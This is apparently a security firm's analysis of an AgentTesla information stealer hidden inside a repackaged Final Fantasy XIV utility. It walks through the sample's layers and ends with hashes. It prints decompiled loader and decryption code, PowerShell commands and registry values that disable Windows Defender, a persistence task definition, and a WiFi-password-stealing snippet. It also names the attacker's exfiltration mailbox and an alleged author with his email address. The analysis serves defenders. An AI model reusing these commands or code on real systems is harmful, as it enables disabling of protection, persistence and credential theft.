A malware file has been detected inside a network monitored by Risk&Co.
Here is the story of its analysis.
The file
command is useful to quickly find clues on the nature of the binary:
$ file SCAN\ COPY.exe_ SCAN COPY.exe_: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
The sample is known by VirusTotal. Several details are provided:
The sample seems to be a very old malware which is still active or at least still analyzed!
A few original names are also provided :
FFXIV Nexus Progress.exe
;vgutqhxrgb.exe
;SCAN COPY.exe
.The readable embedded strings refer mostly to something called FFXIV_Nexus_Progress
.
There is no further interesting matter.
A quick search using the executable name indicates a link to an AgentTesla sample, with high confidence.
The Malware Bazaar also gives a hint on the method of delivery of the dangerous content: mail attachment.
The program seems to be an OpenSource project available from a public Github repository ; it displays the progress of a Nexus weapon upgrade in FFXIV.
For neophytes, FFXIV stands for Final Fantasy XIV.
The project was active several years ago, with a lot of users involved.
For end-users who do not want to build the software themselves from source, a binary version has also been made available:
As expected, the downloaded archive from the legitimate Github project contains a binary named FFXIV Nexus Progress.exe
:
$ unzip -l FFXIV\ Nexus\ Progress.zip Archive: FFXIV Nexus Progress.zip Length Date Time Name --------- ---------- ----- ---- 311808 2015-02-19 23:22 FFXIV Nexus Progress.exe --------- ------- 311808 1 file
However, its size is surprising: about 304 kB, whereas the program detected as a malware weighs about 673 kB.
Computed entropy for both files shows that the malware sample contains more random/encrypted data at the end of its content:
At first, the binaries can be compared using their embedded resources:
$ monodis --presources FFXIV\ Nexus\ Progress.exe 0: FFXIV_Nexus_Progress.Resources.resources (size 31832) 7c5c: FFXIV_Nexus_Progress.Main.resources (size 116854) $ monodis --presources SCAN\ COPY.exe 0: FFXIV_Nexus_Progress.Main.resources (size 116854) 1c87a: FFXIV_Nexus_Progress.Resources.resources (size 77372) 2f6ba: ثەئ6ڵ5ئەڕ55413پڤ3ە3ث6ڤپ65ڤ6چ8ڕێپپڤئ23ۆڤث7ئڕ261ۆ6ثڵڤ043چڤڕڕث780ە8043ۆچو3142ۆ3ەەپئگ8ڵڤ30ێە81ڵڤثچۆە5ڕۆۆ6پو3265ۆ.resources (size 388815)
Some data seems to come from the original FFXIV\ Nexus\ Progress.exe
program but some extra data seems to have been added!
This data can be filtered without using any heavy process:
$ monodis --mresources FFXIV\ Nexus\ Progress.exe $ md5sum * cac314cb3dc8cbe0c8b5e88d40535483 FFXIV_Nexus_Progress.Main.resources 22b74fdeabb4586bd6664b77687833f8 FFXIV_Nexus_Progress.Resources.resources $ monodis --mresources SCAN\ COPY.exe $ md5sum * cac314cb3dc8cbe0c8b5e88d40535483 FFXIV_Nexus_Progress.Main.resources 9214398a190bc3225b613d091f87ce9f FFXIV_Nexus_Progress.Resources.resources ace0a311747db47bb041b8bff4f24851 ثەئ6ڵ5ئەڕ55413پڤ3ە3ث6ڤپ65ڤ6چ8ڕێپپڤئ23ۆڤث7ئڕ261ۆ6ثڵڤ043چڤڕڕث780ە8043ۆچو3142ۆ3ەەپئگ8ڵڤ30ێە81ڵڤثچۆە5ڕۆۆ6پو3265ۆ.resources
Since there is no suitable tool for quick command line usage, a small C# program was developed to extract those resources. It is available on our Github repository and produces the following output:
$ make && ./dn-extractor.exe *resources mcs -out:dn-extractor.exe dn-extractor.cs /reference:System.Drawing.dll [*] ------ Processing FFXIV_Nexus_Progress.Main ------ [!] Unhandled resource type for '$this.Icon': <Icon> [*] ------ Processing FFXIV_Nexus_Progress.Resources ------ [i] Extracting resource 'drg' as image data [i] Extracting resource 'mnk' as image data [i] Extracting resource 'blm' as image data [i] Extracting resource 'brd' as image data [i] Extracting resource 'nin' as image data [i] Extracting resource 'pld' as image data [i] Extracting resource 'war' as image data [i] Extracting resource 'whm' as image data [i] Extracting resource 'sch' as image data [i] Extracting resource 'smn' as image data [i] Extracting resource 'SoftwareUpdates4' as bytes [*] ------ Processing ثەئ6ڵ5ئەڕ55413پڤ3ە3ث6ڤپ65ڤ6چ8ڕێپپڤئ23ۆڤث7ئڕ261ۆ6ثڵڤ043چڤڕڕث780ە8043ۆچو3142ۆ3ەەپئگ8ڵڤ30ێە81ڵڤثچۆە5ڕۆۆ6پو3265ۆ ------ [i] Extracting resource 'ثەئ6ڵ5ئەڕ55413پڤ3ە3ث6ڤپ65ڤ6چ8ڕێپپڤئ23ۆڤث7ئڕ261ۆ6ثڵڤ043چڤڕڕث780ە8043ۆچو3142ۆ3ەەپئگ8ڵڤ30ێە81ڵڤثچۆە5ڕۆۆ6پو3265ۆ' as image data
The last two files seem interesting:
$ file res-*SoftwareUpdates4.bin res-*55413*img res-*SoftwareUpdates4.bin: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows res-*55413*img: PNG image data, 361 x 361, 8-bit/color RGBA, non-interlaced
The very last file is a valid picture:
As it is not obfuscated at all, the SoftwareUpdates4
resource can be analyzed easily.
The program original filename is SoftwareUpdates4.dll
.
The update is based on a single namespace HyperCloud
containing only one class: StreamSound
.
The execution flow is quite straightforward. It starts with setting one attribute:
public static string kurdistan { ... set { ... StreamSound.Final(value); } }
The Final()
method:
GameMode()
;e5()
and VoiceDecrypt()
;Assembly.Load()
and MethodInfo.Invoke()
methods.public static void Final(string e4) { ... Bitmap i = StreamSound.GameMode(e4); byte[] rawAssembly = StreamSound.VoiceDecrypt(StreamSound.e5(i)); Assembly assembly = Assembly.Load(rawAssembly); MethodInfo entryPoint = assembly.EntryPoint; entryPoint.Invoke(null, null); }
The GameMode()
function only loads a given resource.
public static Bitmap GameMode(string @object) { ResourceManager resourceManager = new ResourceManager(@object, Assembly.GetEntryAssembly()); return (Bitmap)resourceManager.GetObject(@object); }
Here the string could be the name of the previously unused mysterious PNG file.
The e5()
function simply translates pixels into bytes, skipping hidden black pixels:
public static byte[] e5(Bitmap i1) { List<byte> list = new List<byte>(); checked { int num = i1.Size.Width - 1; for (int j = 0; j <= num; j++) { int num2 = i1.Size.Height - 1; for (int k = 0; k <= num2; k++) { Color left = StreamSound.@do(i1, j, k); bool flag = left != Color.FromArgb(0, 0, 0, 0); if (flag) { list.Add(left.R); list.Add(left.G); list.Add(left.B); } } } return list.ToArray(); } }
Finally, the VoiceDecrypt()
function uses the 16 first bytes as a XOR key to retrieve the original encrypted data:
public static byte[] VoiceDecrypt(byte[] i15) { checked { byte[] array = new byte[i15.Length - 16 - 1 + 1]; Buffer.BlockCopy(i15, 16, array, 0, array.Length); int num = array.Length - 1; for (int j = 0; j <= num; j++) { ref byte ptr = ref array[j]; ptr ^= i15[j % 16]; } return array; } }
A Python script thevoice.py reproduces the whole decryption process and returns without any surprise a new executable:
$ python3 ./thevoice.py res-*55413*img [i] Image size: 361 x 361 [i] Key: b'\x0e&\x86\xd2\x0ej\x83FjGx\xd7\xf8 ([' $ file stage2.bin stage2.bin: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
The kurdistan
and the Final
items are protected by some code which throws an exception if a condition is not met.
Fortunately, dnSpy
is good enough to remove this obfuscation layer through one “edit code /recompile code” pass (Ctrl+Shift+E
).
Thus, the program seems to stop further execution after the early days of 2020.
Once decompiled, the stage2.bin
file hints at its nature:
CyaX is a well-known packer for .Net binaries.
The behavior of the program is pretty easy to understand ; however, it depends on several configuration properties.
Each parameter used to control the execution flow is defined at runtime:
It may be interesting to note that the Strings class is a VB.net class provided by the Microsoft.VisualBasic.dll
assembly library.
In order to quickly retrieve the value of each configuration parameter, a small C# tool was developed. It is available on our Github repository and produces the following output:
mcs -out:config.exe config.cs ./config.exe InjectValue: 4 isStartup: 1 UAC: 0 Downloader: 0 DownloaderFileName: DownloaderLink: AntiVm: 0 AntiSB: 0 AntiEm: 0
All packer protections are disabled. The UAC
configuration parameter is not used, which could be a hint for removed code and development iterations.
Luckily, even if it is disabled, each feature made available by the packer remains usable during the analysis.
After a small pause ranging from 45 seconds to 1 minute, the program checks for Antivirus products.
By searching for the words “eset” and “nod”, the packer cares about being analyzed by one antivirus only.
If the ESET product is found, the program exits.
If the current user has an administration role, the packer defines Registry values in order to disable Windows Defender.
Path | Key | Value |
---|---|---|
SOFTWARE\Microsoft\Windows Defender\Features | TamperProtection | 0 |
SOFTWARE\Policies\Microsoft\Windows Defender | DisableAntiSpyware | 1 |
SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection | DisableBehaviorMonitoring | 1 |
SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection | DisableOnAccessProtection | 1 |
SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection | DisableScanOnRealtimeEnable | 1 |
Then the following PowerShell commands are run, if relevant:
Set-MpPreference -DisableRealtimeMonitoring $true Set-MpPreference -DisableBehaviorMonitoring $true Set-MpPreference -DisableBlockAtFirstSeen $true Set-MpPreference -DisableIOAVProtection $true Set-MpPreference -DisablePrivacyMode $true Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true Set-MpPreference -DisableArchiveScanning $true Set-MpPreference -DisableIntrusionPreventionSystem $true Set-MpPreference -DisableScriptScanning $true Set-MpPreference -SubmitSamplesConsent 2 Set-MpPreference -MAPSReporting 0 Set-MpPreference -HighThreatDefaultAction 6 -Force Set-MpPreference -ModerateThreatDefaultAction 6 Set-MpPreference -LowThreatDefaultAction 6 Set-MpPreference -SevereThreatDefaultAction 6
These commands are executed “quietly”, as they do not make a visible graphical window appear.
The Get-MpPreference
and Set-MpPreference
PowerShell cmdlets appeared with the release of Windows 10 / Windows Server 2012.
Since there is no try/catch block to handle exceptions here, recent OS may be expected by the attackers.
Virtualization detection is based at first on the Registry.
The program searches for some strings (for instance vbox
, virtualbox
or vmware
) in various places.
For VirtualBox:
Identifier
from HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0
;SystemBiosVersion
from HARDWARE\Description\System
;VideoBiosVersion
from HARDWARE\Description\System
;SOFTWARE\Oracle\VirtualBox Guest Additions
.For VmWare:
Identifier
from HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0
;Identifier
from HARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0
;Identifier
from HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0
;0
from SYSTEM\ControlSet001\Services\Disk\Enum
;DriverDesc
from SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
;Device Description
from SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\Settings
;InstallPath
from SOFTWARE\VMware, Inc.\VMware Tools
;SOFTWARE\VMware, Inc.\VMware Tools
.While read values are always compared to upper-case strings, one change may suggest a multi-step development here:
For Qemu:
Identifier
from HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0
;SystemBiosVersion
from HARDWARE\Description\System
.In order to detect a running instance of Wine, the malware checks if the kernel32.dll
library contains the export wine_get_unix_file_name
.
The following request is ran from the .\ROOT\cimv2
namespace: SELECT * FROM Win32_VideoController
.
An empty string or one of the following values inside the description of the video controller in use triggers a virtualization detection:
The program searches for only one loaded DLL file: sbiedll.dll
. The library is linked to the Sandboxie product.
The malware execution stops if any of the usernames below is used (case is still ignored):
The execution path must not be C:\file.exe
nor contain the following strings:
The search for a window named Afx:400000:0
seems to be aimed at detecting the WinJail Sandbox.
The packer assembly is copied into the user application data directory with a hardcoded configuration name: vGUtqhXRGb.exe
.
A hidden process is then run to register a new system task:
schtasks.exe /Create /TN "Updates\vGUtqhXRGb.exe" /XML "<tmp xml file>"
The temporary XML description is extracted from the packer resources:
<?xml version="1.0" encoding="UTF-16"?> <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> <RegistrationInfo> <Date>2014-10-25T14:27:44.8929027</Date> <Author>[USERID]</Author> </RegistrationInfo> <Triggers> <LogonTrigger> <Enabled>true</Enabled> <UserId>[USERID]</UserId> </LogonTrigger> <RegistrationTrigger> <Enabled>false</Enabled> </RegistrationTrigger> </Triggers> <Principals> <Principal id="Author"> <UserId>[USERID]</UserId> <LogonType>InteractiveToken</LogonType> <RunLevel>LeastPrivilege</RunLevel> </Principal> </Principals> <Settings> <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy> <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>false</AllowHardTerminate> <StartWhenAvailable>true</StartWhenAvailable> <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable> <IdleSettings> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartOnDemand>true</AllowStartOnDemand> <Enabled>true</Enabled> <Hidden>false</Hidden> <RunOnlyIfIdle>false</RunOnlyIfIdle> <WakeToRun>false</WakeToRun> <ExecutionTimeLimit>PT0S</ExecutionTimeLimit> <Priority>7</Priority> </Settings> <Actions Context="Author"> <Exec> <Command>[LOCATION]</Command> </Exec> </Actions> </Task>
The USERID
andLOCATION
values are updated on the fly before registering the task.
As a final step, the packer gives the execution flow back to the original code.
Depending on the configuration, there are two options:
reflection()
: loading a new assembly from resources and calling its entrypoint ;StartInject()
: loading a new assembly and calling a method from a newly available type.The second method is also used as a fallback if the first one fails.
Both assemblies need to get unscrambled before being used and the first one is XOR-encrypted with the key jZDFfZSoFgJPfRarbTtnrpg
.
Unscrambling and decrypting algorithms are defined in the Extra
class; they are quite simple and translated into a Python script cyax-extra.py which can be found on our Github repository.
The assembly relative to the injection method can be retrieved using the following commands:
dn-extractor.exe CyaX-Sharp/Properties/Resources.resources > /dev/null python3 ./cyax-extra.py ./res-Resources-UI4.bin > /dev/null file res-Resources-UI4.bin.plain res-Resources-UI4.bin.plain: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
The executable is linked to a PDB file:
strings -a res-Resources-UI4.bin.plain | grep pdb C:\Users\Cassandra\Desktop\Premium\CyaX\CyaX\obj\Debug\CyaX.pdb
The binary is another CyaX packer masquerading as a Bonjour
library from Apple ; its Kirkuk()
method runs the injection process.
dn-extractor.exe ../06-CyaX-Sharp/CyaX-Sharp/3Ce3BsCvCjB.resources > /dev/null python3 ./cyax-extra.py --key jZDFfZSoFgJPfRarbTtnrpg res-3Ce3BsCvCjB-3Ce3BsCvCjB.bin > /dev/null $ file res-3Ce3BsCvCjB-3Ce3BsCvCjB.bin.plain res-3Ce3BsCvCjB-3Ce3BsCvCjB.bin.plain: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Once decrypted, the payload is run directly.
Here is the function used to decrypt the content loaded by the reflective method.
Two mistakes can be noticed:
num
variable iterates on the initial raw key but the converted bytes are used as XOR key, so actually half of the initial key is used.With the help of some strings and typical characteristics, the sample has been identified as an AgentTesla instance.
This kind of malware is an information stealer, with a huge list of sources of interest: many locations are scanned for valuable information. Configuration and credentials are thus harvested for a large number of common VPN / FTP / email clients and Web browsers.
The code base is rather impressive: about 33k lines of code!
The full analysis of this sample has not been conducted in this article as the work has already been done several times publicly.
However, some key points should be highlighted.
The control flow is obfuscated and all the strings are encrypted.
The first difficulty for the analyst can be bypassed using a de4dot fork with full support for vanilla ConfuserEx.
C:\de4dot-cex>de4dot.exe -d final.exe de4dot v3.1.41592.3405 Copyright (C) 2011-2015 de4dot@gmail.com Latest version and source code: https://github.com/0xd4d/de4dot Detected ConfuserEx (C:\de4dot-cex\final.exe) C:\de4dot-cex>de4dot.exe -f final.exe -o final-unconfused.exe de4dot v3.1.41592.3405 Copyright (C) 2011-2015 de4dot@gmail.com Latest version and source code: https://github.com/0xd4d/de4dot Detected ConfuserEx (C:\de4dot-cex\final.exe) Cleaning C:\de4dot-cex\final.exe Renaming all obfuscated symbols Saving C:\de4dot-cex\final-unconfused.exe
The AES-encrypted strings remain hard to read.
Each calling site for decryption can however get identified with a simple Shell script.
find unconfused-sources/ -name '*cs' -exec python3 ./translate.py -b {} \; | sort | uniq > /tmp/ids.txt
Then, the original malware sample has to be slightly modified with dnSpy
in order to decrypt strings on demand.
The following runtime check can get bypassed by inverting the condition inside the IL code:
decrypt-all.exe > decrypted-strings.txt
A small C# program can then ask the malware to decrypt each string while a database of decrypted string is built for each used identifier. Finally, these strings can be reinjected into the source code with extra Shell/Python scripts.
./translate-all.sh
Analyzing the malware now resolves to classical code reading.
Several categories of data are sent to the C2:
Extra information are delivered too:
The data stolen from the infected system will then be exfiltrated via SMTP (to fran.cess@yandex.com
, the password for this account is left as an exercise for the reader) or through one HTTP POST request using Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv
UserAgent.
Some recent variant of AgentTesla steals WiFi credentials.
This is the case of the current sample, as the vlj()
method runs a hidden netsh
process:
internal static string vcj(string vmf) { string input = xwd.vlj("wlan show profile name="" + vmf + "" key=clear"); string value = new Regex("Key Content * ").Match(input).Groups["password"].Value; if (value.Length > 0) { return value; } return "No Password!"; }
However, the analyzed sample does not seem to be a v3 AgentTesla instance. For instance, there is no connection to https://api.ipify.org
to resolve the external IP address of the infected host nor any Telegram bot support.
This is quite surprising, as the 3-DES encryption should be a hint for the v3 update.
According to the analysis made by Malwatch in 2020 and research on AgentTesla authors by KrebsonSecurity in 2018, AgentTesla could be retrieved freely from a Turkish WordPress site (agenttesla.wordpress-dot-com). The current domain used by AgentTesla (agenttesla-dot-com) was registered in 2014 by someone named Mustafa can Özaydin, using the email address mcanozaydin@gmail.com, when looking at the WHOIS information. This Gmail address is linked to many accounts:
a Youtube account of a Turkish person with the same exact name, that actually contains a video which real purpose was to help people install an AgentTesla control panel. This video was since removed because of Youtube policy infrigements.
a Facebook account of a Turkish person who studied computer technology and programming:
Moreover, the @agent_tesla Twitter account is registered using the email address test@agenttesla.com. This Twitter account once posted a link to one of the original forum posts about AgentTesla being in Beta, on an older hacking forum called jomgegar-dot-com.
A paste on pastebin.com can also be linked to agent_tesla:
It seems to be some old code that might have been incorporated into the malware later on. It also contains a link to a Github repository that provides a tool made for Outlook passwords recovery, where code could also have been used for AgentTesla.
This malware, first discovered in late 2014, has been attacking a variety of targets over the years.
As early as 2016, there were reports of typosquatting by AgentTesla users to conceal their malicious intents behind falsely legitimate email adresses. According to Talos Intelligence, the most used domains were those of manufacturing and logistics companies. For example, they tried to impersonate the Oil & Gas russian company ERIELL using the misspelled domain erieil-dot-com.
In 2019, AgentTesla was used as a tool for the SilverTerrier information stealing campaign aimed at various businesses (mostly high-tech, legal and manufacturing domains).
However, nowadays it seems to be mainly aimed at energy companies. Due to the global COVID-19 pandemic, the demand for oil decreased and forced companies to lower their prices. This grabbed the attention of malware creators like AgentTesla’s: according to InfosecInstitute, there were more than 5000 attacks targeting energy companies during the peak of the campaign in February 2020.
The pandemic also lead to COVID-19 themed phishing campaigns where AgentTesla could be found, targeting different kind of businesses and government entities that are related or affected by this crisis.
Each steps of the malware execution can be summarized in the flowchart below.
Launched in 2014, AgentTesla is an old information stealer but remains strong at evading detection using multiple modern techniques.
If the various protection layers are interesting to study for the analyst, AgentTesla also deserves attention from decision makers:
It is interesting to note that there are some sites on the clear web that are still selling the AgentTesla malware. It is unclear whether it is a scam or not but they seem to be offering the same services as the official site did (monthly subscriptions for instance).
SCAN COPY.exe | |
---|---|
MD5 | e43fad2f68b266355bb3367493388795 |
SHA1 | 9fd2bc1bf884dc505de4416e080f4e03cb77b3e8 |
SHA256 | b500fa62f356afa1aa8651567fba30088850ea5d5db638225c6c64465c83c846 |
The injection process | |
---|---|
MD5 | 0130559aa191e846efae2eac4dbc84bd |
SHA1 | 9dc95eb05ac91ff3877ed0edcee68e9ccd3b21cc |
SHA256 | ca84e8c6ade485e41c8b761a0610fe3b355d82ee90c08ad5410aded2612636b2 |
The final stage | |
---|---|
MD5 | 2bb34672018e8b2459ebbccf1036327c |
SHA1 | 4f9d524ae23821b7a937e38fa97887a2cf35038e |
SHA256 | fa80b7fb16db61cd201115e7e2616bae6332486a8b5cd6e193200ec6ba300772 |